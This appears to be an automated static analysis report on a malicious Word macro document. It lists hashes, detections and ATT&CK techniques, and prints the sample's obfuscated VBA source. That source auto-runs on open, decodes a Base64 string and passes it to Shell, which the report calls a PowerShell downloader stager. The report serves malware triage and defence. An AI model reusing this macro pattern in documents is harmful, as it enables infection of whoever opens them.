Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c7815046bd68b511…

MALICIOUS

Office (OLE)

219.5 KB Created: 2017-04-27 21:28:00 Authoring application: Microsoft Office Word First seen: 2017-05-03
MD5: c426a4bee4356753536b45e95903a1ea SHA-1: 1d7208254bada5500ad7e29f276e46a096bcf5f6 SHA-256: c7815046bd68b511f6ad4efaa218337ca556085b75e388b9eed2caf27f171e05
312 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code T1566.001 Spearphishing Attachment

The sample contains critical heuristic firings indicating VBA macros with a Base64-decoded Shell command stager, specifically a PowerShell command. This suggests the macro is designed to download and execute a second-stage payload. The presence of AutoOpen and CreateObject calls further supports this malicious intent.

Heuristics 10

  • ClamAV: Doc.Downloader.Heuristic-6312759-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Heuristic-6312759-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    KgX8uV = 0
    CadAYgTe8 = Shell(S94ZnvwI(rPY3Wtp), yUm6i)
    Dim Nvy8XKF
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    OHLMTj = True
    Set Zo5wx = CreateObject("msxml2.domdocument")
    Dim qrG8bCDk As String
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    OHLMTj = True
    Set Zo5wx = CreateObject("msxml2.domdocument")
    Dim qrG8bCDk As String
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub AutoOpen()
    Dim vyWw9sudx As Integer
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40183 bytes
SHA-256: 67f5e965fe0e45fab09ff23aa64a7aa20023fae88eb90d5ce63da996149cb9f7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
414 of 820 identifiers look randomly generated (e.g. 'jZXNzICRwYXRoO2JyZWFrO31jYXRjaHt3cml0ZS1') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
Dim vyWw9sudx As Integer
vyWw9sudx = Sgn(-12166)
Dim O2vak As Integer
O2vak = Sgn(3323)
Dim xd9R8yS As Boolean
xd9R8yS = True
Dim TERq6CTgY As Double
TERq6CTgY = 48972.625535666
Dim IXnEbAlNh As Integer
IXnEbAlNh = 7350
Dim D0nEwa As Long
D0nEwa = -91376234
Dim qe2mG As Long
qe2mG = 0
Dim MhP4afR0J As Double
MhP4afR0J = Sgn(60880.539799204)
Dim h9gFy
h9gFy = Val("8")
IQjEndDA1
End Sub

Attribute VB_Name = "Module2"
Function S94ZnvwI(ByVal Tyd4zNb)
Dim T5ckSEfF As Double
T5ckSEfF = Fix(33071.221929122)
Dim PrWADeqZ As Long
PrWADeqZ = Sgn(0)
Dim AYx4agi As Single
AYx4agi = Round(16145.249333845)
Dim Ho1aM As Integer
Ho1aM = -21426
Dim opaidrbP As Boolean
opaidrbP = False
Dim FwCXZ0LKo As Double
FwCXZ0LKo = Val(65153.664256654)
Dim HSe132M As Integer
HSe132M = -5730
Dim FbR5kMGjQ As Long
FbR5kMGjQ = 0
Dim DPblavDc As Long
DPblavDc = -1641236388
Dim pCrlGwKfZ As Single
pCrlGwKfZ = 9801.2564865144
Dim cFtO0Al As Byte
cFtO0Al = 180
Dim kFMnyUg As Boolean
kFMnyUg = True
Dim kvlJL As Single
kvlJL = 43535.600563067
Dim Zo5wx
Dim e1dc38HDj

Dim L4K1yc As Boolean
L4K1yc = False
Dim rHZm3L As Byte
rHZm3L = 160
Dim DjbrGeB7
DjbrGeB7 = hQaCw7gt
Dim l8fCLPE As Integer
l8fCLPE = 17468
Dim y4NHWh2 As Single
y4NHWh2 = Fix(27669.873415061)
Dim RSi4l1eD5 As Boolean
RSi4l1eD5 = False
Dim ywJAra As Boolean
ywJAra = False
Dim Yd1wPTz As Double
Yd1wPTz = Fix(33580.576780612)
Dim fxkMGQ As Single
fxkMGQ = Sgn(42341.857332309)
Dim p0xgqY As Integer
p0xgqY = Sgn(-28111)
Dim T8y2mXT9d As Boolean
T8y2mXT9d = False
Dim UJr1jMw As Byte
UJr1jMw = 52
Dim xSl80 As String
xSl80 = Val(YqBK1)
Dim mgacTz As Double
mgacTz = Int(4265.2743114916)
Dim wIodqe As Byte
wIodqe = 35
Dim E3Kr5Pd As Single
E3Kr5Pd = Int(60962.255168304)
Dim yW5DFw As Double
yW5DFw = Sgn(18584.649860575)
Dim tMKnYfi As Long
tMKnYfi = Sgn(-829248772)
Dim x4APVMocn As Long
x4APVMocn = -977876444
Dim sgb390Sk As Long
sgb390Sk = 0
Dim khj34b5SO
khj34b5SO = Len(kcsGhfknx)
Dim PLtYwiX As String
PLtYwiX = StrConv(QCmUjktzG, vbProperCase)
Dim Dcewop9lJ As Double
Dcewop9lJ = Sgn(28188.874726063)
Dim OHLMTj As Boolean
OHLMTj = True
Set Zo5wx = CreateObject("msxml2.domdocument")
Dim qrG8bCDk As String
qrG8bCDk = UCase(Zy40E)
Dim WT3LbcVOg As Integer
WT3LbcVOg = -2477
Dim N4QcD As Integer
N4QcD = Sgn(-13785)
Dim y1K3aFpe As Integer
y1K3aFpe = Sgn(10907)
Dim z35lXJ As Boolean
z35lXJ = True
Dim cXvsxai As Double
cXvsxai = Val(46509.830254196)
Dim mRipL As Integer
mRipL = 17838
Dim IHu4l As Byte
IHu4l = 8
Dim Lwhg2 As Byte
Lwhg2 = 98
Dim j32rgwj0 As Single
j32rgwj0 = Val(26944.398442376)
Dim TitKCXz As Integer
TitKCXz = 26605
Dim W5Bfr As Single
W5Bfr = Fix(21315.041316327)
Dim SSLhl As Integer
SSLhl = 18660
Dim yCYg7q As Double
yCYg7q = Round(37306.88971223)
Dim COuGvTptg As Integer
COuGvTptg = 10187
Dim nDFdTnGY4 As Long
nDFdTnGY4 = 0
Dim mN6mPjI As Integer
mN6mPjI = -4674
Set e1dc38HDj = Zo5wx.CreateElement("base64")

Dim fqPwTk As Single
fqPwTk = 36174.08824121
Dim sO0jh As String
sO0jh = Val(dIxj4Z)
Dim RDEOu As Single
RDEOu = Val(15129.488987797)
Dim MDFXmtRZ
MDFXmtRZ = Len(DerCGq)
Dim dVWk5R As Double
dVWk5R = 23610.890654351
Dim JSrsv As Integer
JSrsv = 19376
Dim Uwtaq As Byte
Uwtaq = 94
e1dc38HDj.dataType = "bin.base64"
Dim FZtWp As Double
FZtWp = Sgn(48849.530852998)
Dim zcH8Zb As Boolean
zcH8Zb = False
Dim R1iB8j9 As Double
R1iB8j9 = Int(51688.042671164)
Dim IPY6xe As Single
IPY6xe = Sgn(36039.256249529)
Dim U0Sy8OgEB As Boolean
U0Sy8OgEB = False
Dim cBStZ5X As Single
cBStZ5X = Sgn(48349.05507769)
Dim shjq34 As Long
shjq34 = Sgn(-2058879100)
Dim HwPDX
HwPDX = Len(MvkaC0)
Dim PSyfAl As String
PSyfAl = Val(jDlZax)
Dim VXnGKf0k As Single
VXnGKf0k = Sgn(28251.97035314)
e1dc38HDj.text = Tyd4zNb
Dim MFYdZM As Double
MFYdZM = Sgn(52666.686761269)
Dim Yv3xQEhoY As Long
Yv3xQEhoY = -1378284450
Dim Vhk6815jE As Long
Vhk6815jE = Sgn(-1487438448)
Dim M10CzTpK As Boolean
M10CzTpK = False
Dim xmj9kzV As Long
xmj9kzV = 0
Dim ekSmban As Single
ekSmban = Int(9137.9803344981)
Dim Z3ZyTvMit As Single
Z3ZyTvMit = Sgn(50200.171992996)
S94ZnvwI = RUeif(e1dc38HDj.nodeTypedValue)

Dim QVXLICUoY As Byte
QVXLICUoY = 200
Dim QVAdl7T5S As Boolean
QVAdl7T5S = False
Dim iuPnyk As Double
iuPnyk = Int(11289.042693313)
Dim igCEz1 As Double
igCEz1 = 57946.025384489
Dim yW9ly As Byte
yW9ly = 205
Dim JM13A8 As Double
JM13A8 = Sgn(7950.6873839092)
Dim WsdMUf As Byte
WsdMUf = 65
Dim og0fzWd6 As Boolean
og0fzWd6 = False
Dim JA03KTHb As Single
JA03KTHb = 63873.302350134
Dim Tc2SlT6G As String
Tc2SlT6G = AscB("^")
Dim CduyHCXR As Boolean
CduyHCXR = True
Dim iPgh2fk As Double
iPgh2fk = 52174.044515324
Dim Wne5yds3p As Double
Wne5yds3p = Sgn(58159.233379631)
Set e1dc38HDj = Nothing
Set Zo5wx = Nothing
End Function
Function RUeif(Binary)
Dim U18ZfnwA
U18ZfnwA = StrConv(W5cgxqm7w, vbLowerCase)
Dim mtfyO As Integer
mtfyO = 30789
Dim VXzRT5vl As Integer
VXzRT5vl = Sgn(31933)
Dim AbQ7w As Integer
AbQ7w = -8308
Dim x4LUa As Long
x4LUa = 0
Dim iNMVEhvO As Long
iNMVEhvO = -859549308
Dim Xu9gTA As Boolean
Xu9gTA = True
Const JBFnDLr = 2
Const HYfNbZ = 1

Dim xh0VA As Long
xh0VA = 0
Dim UbO82gR As Single
UbO82gR = Sgn(14197.19053576)
Dim MkJaL As Double
MkJaL = Sgn(30510.604987013)
Dim I2b9ESAx
I2b9ESAx = Val(eNGElC)
Dim wnolKZ8 As Integer
wnolKZ8 = 13431
Dim RAHuDp5C As Byte
RAHuDp5C = 118
Dim ESgrY39 As Single
ESgrY39 = Int(17900.005961517)
Dim PtldTw8R As Double
PtldTw8R = Val(63591.02994676)
Dim UYqOy As Byte
UYqOy = 155
Dim hEFfbmN6U As Integer
hEFfbmN6U = 8131
Dim ojVQMPI1 As Boolean
ojVQMPI1 = True
Dim okvKAw As Single
okvKAw = Sgn(27652.159878717)
Dim xulK8f As Byte
xulK8f = 250
Dim IjgfuEt As String
IjgfuEt = AscW("!")
Dim X7KHpL As String
X7KHpL = AscB("+")
Dim Hbluo8TO As String
Hbluo8TO = StrConv(ArWYe, vbProperCase)
Dim BfQKz6e0W As Byte
BfQKz6e0W = 219
Dim ziLEl As String
ziLEl = RTrim(zaAGHJ)
Dim ZqMsjtQ3b As Double
ZqMsjtQ3b = Sgn(20608.048484002)
Dim lNguMEoK As Single
lNguMEoK = 35716.667077438
Dim zZj3g As Long
zZj3g = -1722069850
Dim AdhSf3 As Byte
AdhSf3 = 128
Dim Dpy9DT As Integer
Dpy9DT = -16089
Dim lbW6z3 As Integer
lbW6z3 = Sgn(-25018)
Dim zpoGS3 As Double
zpoGS3 = 9708.1117871085
Dim OJm0AIe6 As Long
OJm0AIe6 = Sgn(0)
Dim bsNx8kcdL As Double
bsNx8kcdL = Sgn(21845.248053575)
Dim yISDh20VG As Single
yISDh20VG = Sgn(56770.770763719)
Dim mGrCN0
Set mGrCN0 = CreateObject("ADODB.Stream")
Dim k9XGwzpJ As Single
k9XGwzpJ = Fix(49768.382671472)
Dim isH9PhAU As Boolean
isH9PhAU = True
Dim wlCdDHr As Integer
wlCdDHr = Sgn(-30793)
Dim nyeS0KACG As Double
nyeS0KACG = Int(55228.852965669)
Dim UxvZsTwY
UxvZsTwY = Val("v")
Dim XIdRsVnt8 As String
XIdRsVnt8 = StrConv(JuG76ZA25, vbProperCase)
Dim mPfTG As Byte
mPfTG = 228
Dim SNQhVfjXl As Integer
SNQhVfjXl = -22551
Dim p3wWc5r As Long
p3wWc5r = Sgn(-905520314)
mGrCN0.Type = HYfNbZ

Dim PrIJU As Single
PrIJU = 65147.234056745
Dim oTlZ16wV As Byte
oTlZ16wV = 142
Dim xBWMDrG7 As Integer
xBWMDrG7 = -989
Dim TLARf As Byte
TLARf = 18
Dim aiVX7DJvz As Integer
aiVX7DJvz = Sgn(24252)
Dim xVNCx7Ee As Integer
xVNCx7Ee = Sgn(22272)
Dim MEVxNF2 As Single
MEVxNF2 = 56268.865231135
Dim SQlG8V As Single
SQlG8V = Sgn(47385.702685818)
Dim UR3zA As Integer
UR3zA = 4354
Dim WCR3z0M As Double
WCR3z0M = Fix(5345.8124184187)
Dim Aiaro9gl As Integer
Aiaro9gl = -24612
Dim bhpsWVuM As Byte
bhpsWVuM = 62
mGrCN0.Open
mGrCN0.Write Binary
Dim eIG7DBPr
eIG7DBPr = Trim(R7UDinp5)
Dim y5zDE8Y As Long
y5zDE8Y = Sgn(0)
Dim H3BOGiM4 As Single
H3BOGiM4 = Sgn(41261.286358451)
Dim no43WL0Cg As Long
no43WL0Cg = Sgn(-1697200800)
Dim yn0F8U9I As Integer
yn0F8U9I = -30139
Dim eFNkMVyBn As Double
eFNkMVyBn = 47324.433080732
Dim l2peUnM0 As Double
l2peUnM0 = Int(20524.121356598)
Dim P3GyMbH As Byte
P3GyMbH = 35
Dim rQkdjsm As Single
rQkdjsm = 10008.400395556
Dim EcWgoZIj6 As String
EcWgoZIj6 = UCase(NptG1gPIC)
Dim v3NTLzi As String
v3NTLzi = vbNullString
Dim iIbdK As Integer
iIbdK = Sgn(31577)
mGrCN0.Position = 0
mGrCN0.Type = JBFnDLr
Dim x9TNJFk As Integer
x9TNJFk = Sgn(9781)
Dim YLYdptmKs As Long
YLYdptmKs = 0
Dim ASd9NPs As Long
ASd9NPs = -1232451728
Dim gWCd4r As Byte
gWCd4r = 126
Dim qRv4S As Boolean
qRv4S = True
Dim Dp0wHBm As Byte
Dp0wHBm = 137
Dim nDn5l As Boolean
nDn5l = True
Dim zhKRn As String
zhKRn = AscB("L")
Dim EfIE1qp As Long
EfIE1qp = -1119661894
Dim edBb3QY As Boolean
edBb3QY = False
Dim kHDgwck As Integer
kHDgwck = Sgn(-13584)
mGrCN0.CharSet = "us-ascii"

Dim sWKTnOv As Byte
sWKTnOv = 151
Dim st41Mj As Boolean
st41Mj = False
Dim G3LfQN As Integer
G3LfQN = 14177
Dim btEnLkv As Long
btEnLkv = -340599314
Dim QOexbEmL As Integer
QOexbEmL = -4179
Dim hjPram As Double
hjPram = 46782.349479712
Dim HdGzf As Boolean
HdGzf = True
Dim moIEfTz As Long
moIEfTz = -443237182
Dim OswHZW1 As Double
OswHZW1 = 33862.201427739
Dim Pr3dQxm4B As Byte
Pr3dQxm4B = 204
Dim epC1Oq As Double
epC1Oq = Sgn(13638.535562395)
Dim eZqYa As Integer
eZqYa = 5356
Dim pLWT2 As Byte
pLWT2 = 220
Dim nmzGB4CrJ As Byte
nmzGB4CrJ = 124
RUeif = mGrCN0.ReadText
Set mGrCN0 = Nothing
 
End Function
Public Function IQjEndDA1()
Dim SVS8O As Double
SVS8O = Int(58244.936664062)
Dim eRkwLsz As Integer
eRkwLsz = Sgn(-14031)
Dim uh4JKEPcb As Single
uh4JKEPcb = Sgn(4639.2635490574)
Dim ey8jxMl5R As Double
ey8jxMl5R = Sgn(23117.703861036)
Dim J8L2s9E As Integer
J8L2s9E = Sgn(30014)
Dim lhPDUI8 As Integer
lhPDUI8 = Sgn(19463)
Dim k80oHzMG As String
k80oHzMG = Trim(LxL2XKyh)
Dim qm5Mzby1 As Double
qm5Mzby1 = Sgn(2639.3538866998)
Dim uU4Gu As Byte
uU4Gu = 29
Dim dW6eVDQ As String

Dim liswpur As Integer
liswpur = -15821
Dim yodRnMi
yodRnMi = AscB("%")
Dim jNfMBO6x As String
jNfMBO6x = LTrim(llg3wo)
Dim NNPfl As Long
NNPfl = Sgn(0)
Dim rUQp67
rUQp67 = Trim(Y1ibvDg)
Dim YN4HWx As Single
YN4HWx = Sgn(25830.870389946)
Dim VtYg6
VtYg6 = RTrim(kMu3GYL)
Dim wb4IS8
wb4IS8 = c8Qpqc3R
Dim n4tkB As Integer
n4tkB = Sgn(19605)
Dim L7FUV
L7FUV = AscB("q")
Dim mC0qOxsU As Single
mC0qOxsU = 8017.9508552174
Dim SJNRB6j As Double
SJNRB6j = 57830.178424677
Dim WdP0UEOq As String
WdP0UEOq = AscW("T")
Dim vwTOqU As Double
vwTOqU = 62218.962283761
Dim jUcGNu As Single
jUcGNu = 63833.278576222
Dim IEiLlF As Double
IEiLlF = Sgn(3184.0667506501)

Dim HZRVhnLb As Long
HZRVhnLb = -1310853620
Dim nKVp4LEx As Single
nKVp4LEx = Sgn(61599.781193741)
Dim l6fNuHgd0 As Boolean
l6fNuHgd0 = True
Dim QzDSiql As Long
QzDSiql = Sgn(-452035140)
Dim yyovr6K9t As Byte
yyovr6K9t = 187
Dim iXc4fbz As Boolean
iXc4fbz = False
Dim Uxa96 As Single
Uxa96 = 41009.903163535
Dim Q2HVw As Byte
Q2HVw = 76
Dim KKiFpuz0 As Boolean
KKiFpuz0 = False
Dim DPtpOhJAj As Single
DPtpOhJAj = Sgn(47949.024275113)
Dim T6MinIsB As Long
T6MinIsB = Sgn(-1613271490)
Dim KQBaKf As Byte
KQBaKf = 91
Dim bf7Ep8Zg
bf7Ep8Zg = Ny6Y4SlkL
Dim GcAFXGoDy As Long
GcAFXGoDy = 0
Dim szpD0 As Single
szpD0 = Sgn(51545.035724656)
Dim EQBEq1KA2 As Long
EQBEq1KA2 = 0

Dim jmW0zK As Boolean
jmW0zK = False
Dim j8jTIw19 As Integer
j8jTIw19 = 9866
Dim r84JuQp As Long
r84JuQp = 0
Dim rm4ALtG As Long
rm4ALtG = 0
Dim s0e62C As Double
s0e62C = Sgn(58725.027984236)
Dim fVQjqEs As Single
fVQjqEs = Val(11088.912166214)
Dim PhKMpUn As Integer
PhKMpUn = 26944
Dim KU3pq
KU3pq = StrConv(vUyDgE6Z, vbUpperCase)
Dim nVStAJP9X As Byte
nVStAJP9X = 231
Dim TLOZDj As Integer
TLOZDj = -22131
Dim b4OJDK6Qt As Single
b4OJDK6Qt = Fix(14133.127333089)
Dim NBxWVj47 As Boolean
NBxWVj47 = False

Dim CTpO6Kb As Single
CTpO6Kb = 28387.15872367
Dim UFzVw As Integer
UFzVw = Sgn(30054)
Dim gRqBGNA As Byte
gRqBGNA = 239
Dim NongbSsZz As Byte
NongbSsZz = 186
Dim x5tT0MEc As Byte
x5tT0MEc = 150
Dim zaEBmAZ As Single
zaEBmAZ = Int(10004.439152182)
Dim e0Lwzi As Byte
e0Lwzi = 46
Dim uszhD As Integer
uszhD = 19702
Dim rPRVm9W4v As Integer
rPRVm9W4v = Sgn(20365)
Dim yxMSjzw As Integer
yxMSjzw = -18569
Dim qRvQXZ
qRvQXZ = DwzayCHA
Dim v8Uc3nXKq As Integer
v8Uc3nXKq = Sgn(-30450)
Dim WHLr8MujS As Double
WHLr8MujS = Sgn(25419.237011411)
Dim cT5Ka As Double
cT5Ka = 14218.854024146
Dim BIx1t3EF As Byte
BIx1t3EF = 203
Dim tavWY3 As Integer
tavWY3 = 21528
Dim sKQvstL As Single
sKQvstL = Sgn(2309.4728945239)
Dim jOaqi4F As Byte
jOaqi4F = 1

Dim YsGmz As Byte
YsGmz = 103
Dim w58PC3 As Single
w58PC3 = Val(58233.111984554)
Dim vmAwdSF As Boolean
vmAwdSF = False
Dim dUqCySz As Boolean
dUqCySz = True
Dim IKYPz3Z As String
IKYPz3Z = ""
Dim JIp5vRVDw As String
JIp5vRVDw = ""
Dim js9Li As Integer
js9Li = -19438
Dim BiRJreIXc As Byte
BiRJreIXc = 43

Dim r379j As Long
r379j = -1374894566
Dim FZwlRCxOc As Byte
FZwlRCxOc = 95
Dim V5fjK7 As Long
V5fjK7 = 0
Dim Y4KxQPT As Byte
Y4KxQPT = 99
Dim luPDAMkcN As Boolean
luPDAMkcN = True
Dim sm2CG As Boolean
sm2CG = False
Dim GdkbwCVN As Long
GdkbwCVN = Sgn(0)
Dim EpyCmdAs As Byte
EpyCmdAs = 228
Dim Si0tCS As Single
Si0tCS = Int(12018.656702074)
Dim H7Fqceu As Byte
H7Fqceu = 72
Dim FL4aGCt3
FL4aGCt3 = StrConv(XzMXP, vbProperCase)
Dim gIn31opL As Single
gIn31opL = 30138.56597609
Dim wVh0Esgv As Boolean
wVh0Esgv = False
Dim FzCXMj As Double
FzCXMj = Fix(24842.939453991)
Dim wJoIdbEi As Long
wJoIdbEi = Sgn(-1500430346)
Xl9Lyd
Dim fyBSOA As Single
fyBSOA = Sgn(55019.456710563)
Dim vsznHe As Boolean
vsznHe = True
Dim RV9UeKq As Integer
RV9UeKq = Sgn(-1527)
Dim lZdEqcC As Double
lZdEqcC = Sgn(28142.301888086)
Dim WfCL0 As Integer
WfCL0 = -27358
Dim pCbfg9a5Y
pCbfg9a5Y = LCase(yoEqwgRa)
Dim Pp2G9 As Byte
Pp2G9 = 255
Dim CQ0MHB8 As Double
CQ0MHB8 = 56740.21879988
Dim R64prw As Long
R64prw = Sgn(-530242722)
Dim eISPs As Double
eISPs = Int(14102.080503741)
Dim wJIOqHXGm As Boolean
wJIOqHXGm = True
Dim wONwTLC As Byte
wONwTLC = 122
Dim sfZ4v5 As Byte
sfZ4v5 = 84
Dim BLivj As Double
BLivj = Round(64102.917871239)
Dim HpHCnuBD As Byte
HpHCnuBD = 109

Dim uS2Jq6YF As Integer
uS2Jq6YF = -31589
Dim BGO8hmfej
BGO8hmfej = Val("z")
Dim icOZqY As Single
icOZqY = Fix(31310.78432719)
Dim sqUN0d2k As Integer
sqUN0d2k = -10984
Dim uki2H As Byte
uki2H = 165
Dim bQR8uBX2s As Integer
bQR8uBX2s = 4
Dim wkrfE As Boolean
wkrfE = False

Dim O1E9Gadj As Double
O1E9Gadj = 1884.463376958
Dim sBM0Vei As Boolean
sBM0Vei = True
Dim cCcaJoBh
cCcaJoBh = Len(oghYtlIXH)
Dim RQSXvCbx5 As Long
RQSXvCbx5 = 0
Dim vOKWX5I2q As Double
vOKWX5I2q = Round(5605.9340666584)
Dim SlVUsFG As Integer
SlVUsFG = 21317
Dim KgX8uV As Long
KgX8uV = 0
CadAYgTe8 = Shell(S94ZnvwI(rPY3Wtp), yUm6i)
Dim Nvy8XKF
Nvy8XKF = Trim(D82wey9H)
Dim uJTvSnk As Integer
uJTvSnk = Sgn(-5302)
Dim IGZ9A As Long
IGZ9A = 0
Dim DDC2iTH As String
DDC2iTH = Asc("f")
Dim qbe2Rxp As Double
qbe2Rxp = Fix(2316.604469247)
Dim WWug1c As Long
WWug1c = -677249302
Dim TXhAvuGEF
TXhAvuGEF = ""
Dim vVRnuBS As Integer
vVRnuBS = Sgn(-25064)
Dim lHvLfiW As Double
lHvLfiW = 34985.162441957
Dim ZX1hlM As Boolean
ZX1hlM = True
Dim LQJcLpXmC As Integer
LQJcLpXmC = Sgn(3752)
Dim nl4w5K As Long
nl4w5K = 0
Dim EgbyVj As Byte
EgbyVj = 174
Dim moBrEanv As Boolean
moBrEanv = False
Dim JO02cIQXD As String
JO02cIQXD = RTrim(ItPcXlaW)

Dim lJ5MqksTu As Boolean
lJ5MqksTu = True
Dim LafkxnQrX As Double
LafkxnQrX = Fix(19018.748778267)
Dim fhxY2WpwV As Byte
fhxY2WpwV = 233
Dim xNwEC As Boolean
xNwEC = True
Dim LIF3n As String
LIF3n = LCase(WiAnL)
Dim grFmuGI1 As Single
grFmuGI1 = 6341.0771660064
Dim tcJwtCnXl
tcJwtCnXl = StrConv(u4PBpq3N, vbLowerCase)
Dim dbUern78t As Boolean
dbUern78t = False
Dim Lc0KS824 As Byte
Lc0KS824 = 123
Dim oiwQFUh As Byte
oiwQFUh = 87
Dim l7DbvcZ0 As Byte
l7DbvcZ0 = 147
Dim cVOYA0 As Integer
cVOYA0 = Sgn(-16531)
Dim XhrWF As Integer
XhrWF = 12944
Dim liTUpB5y As Long
liTUpB5y = Sgn(-1423437586)
Dim E61PW As Byte
E61PW = 0
Dim qaPtDCQk As Single
qaPtDCQk = 52974.34036984
Dim WUoDL As Integer
WUoDL = 7873
Dim Hbuq2fZ As Long
Hbuq2fZ = Sgn(0)
Dim zWkl7V As Single
zWkl7V = 60564.32449243
Dim Fb8BPY As Long
Fb8BPY = 0
Dim wVMGC As Long
wVMGC = 0
Dim IwYOc As Long
IwYOc = -758284612
Dim b9If0h7 As String
b9If0h7 = AscW("G")
Dim XPWSHRDM7 As Boolean
XPWSHRDM7 = False
Dim imyiP As Single
imyiP = 53471.32452963
Dim K6RIjbQT As Long
K6RIjbQT = -1183670788

Dim upNkMVx7 As Boolean
upNkMVx7 = True
Dim ZX59Zzh
ZX59Zzh = Len(kztnX)
Dim oEaykrq4 As Long
oEaykrq4 = Sgn(-110769112)
Dim rykYmSjq As Double
rykYmSjq = Sgn(36166.66083359)
Dim Xw9HaZ As Byte
Xw9HaZ = 21
Dim vc8BiTb As Integer
vc8BiTb = -23225
Dim dynoj7P1 As Double
dynoj7P1 = Round(35517.443152742)
Dim oKb7lf As Boolean
oKb7lf = True
Dim iXGMhLuf
iXGMhLuf = AscW("!")
Dim n7LfzU As Long
n7LfzU = Sgn(-8000798)
Dim Yeg6f As Integer
Yeg6f = Sgn(-31314)
Dim CVNAj3 As Single
CVNAj3 = Sgn(10933.369552493)
Dim ftz3Jfwi As String
ftz3Jfwi = "u"
Dim ou6R7dkDx As Double
ou6R7dkDx = 43215.672300153
Dim uR5f0k As Double
uR5f0k = Sgn(27787.23023957)
Dim dx3U5
dx3U5 = StrConv(gKTfrNQsw, vbLowerCase)
Dim M1ZvIlzrQ As Integer
M1ZvIlzrQ = Sgn(-17012)
Dim tj4bNl7xU As Boolean
tj4bNl7xU = True
Dim WvnmEw0UG
WvnmEw0UG = "k"
Dim UYybUZ
UYybUZ = StrConv(kphTGPdO, vbUpperCase)
Dim ADRtV
ADRtV = Trim(sDVoHB6Nf)
Dim HCGSItJpW
HCGSItJpW = Val("u")
Dim GOR63
GOR63 = ZGgsb1
Dim GIUr3B As Integer
GIUr3B = -19252
Dim X83Uy As Long
X83Uy = Sgn(-476735676)
Dim ftcwpDB As String
ftcwpDB = LCase(ZwcKDG)
Dim e4XEl As Long
e4XEl = Sgn(0)
Dim LK4msk As Byte
LK4msk = 30
Dim x9uB18yS As Boolean
x9uB18yS = False
Dim lXgcHhfLt As Integer
lXgcHhfLt = Sgn(15470)
Dim X34vK As Byte
X34vK = 74
Dim nNEZ4rG As Integer
nNEZ4rG = Sgn(19423)

Dim CQ58OKn As Long
CQ58OKn = 0
Dim S1zFbJKC As Integer
S1zFbJKC = Sgn(-25086)
Dim Eeqh2oOG As Boolean
Eeqh2oOG = True
Dim pTWKuY As Long
pTWKuY = Sgn(-1577033114)
Dim aQOJw As String
aQOJw = ""
Dim AFuPa As Single
AFuPa = Val(5842.7070409986)
Dim q4eS8br1x As Boolean
q4eS8br1x = False
Dim badtljE As Byte
badtljE = 236
Dim csh4N As Single
csh4N = Int(14828.266036891)
Dim vO1ZWvp As Double
vO1ZWvp = Sgn(21538.189315094)
Dim W1doH As Long
W1doH = 0

Dim DStA4u As Double
DStA4u = 18355.557799514
Dim oYqVbQ As Boolean
oYqVbQ = False
Dim Yt2YldUTL As Integer
Yt2YldUTL = Sgn(-912)
Dim zjmG4EUOx
zjmG4EUOx = StrConv(nxLM4q, vbLowerCase)
Dim RAG920R As Double
RAG920R = Sgn(10042.231911492)
Dim RHuOnm As Double
RHuOnm = Sgn(24157.514042179)
Dim djtbZWm As Integer
djtbZWm = Sgn(-8325)
Dim driGJEyaY As Integer
driGJEyaY = -2956
Dim YwOZJ As Double
YwOZJ = Sgn(42992.245924278)
Dim mPm4rk As Double
mPm4rk = 45312.640207043
Dim HqCft As Single
HqCft = Sgn(17818.581145853)
Dim sNJ1Msa As Single
sNJ1Msa = 39634.750922275
'

Dim yBA2LN As Byte
yBA2LN = 32
Dim cm0LKs6nq As Integer
cm0LKs6nq = Sgn(26993)
Dim DEFUQjqRP As Double
DEFUQjqRP = 23882.668558151
Dim ZWXjS As String
ZWXjS = Trim(b1eIVT)
Dim CaoO9 As Byte
CaoO9 = 88
Dim OM4uzoO3 As Boolean
OM4uzoO3 = False
Dim QzGuEWC As Boolean
QzGuEWC = True
Dim U8xRK9 As Integer
U8xRK9 = Sgn(26361)
Dim Nrnq5xXPO As Long
Nrnq5xXPO = -529022928
Dim ExKurZP As Integer
ExKurZP = Sgn(-7861)
Dim E4XWtVq6k As Byte
E4XWtVq6k = 183
Dim ufj74O As Long
ufj74O = Sgn(-504589608)
Dim ZWGey As Single
ZWGey = Sgn(58493.593460076)
'

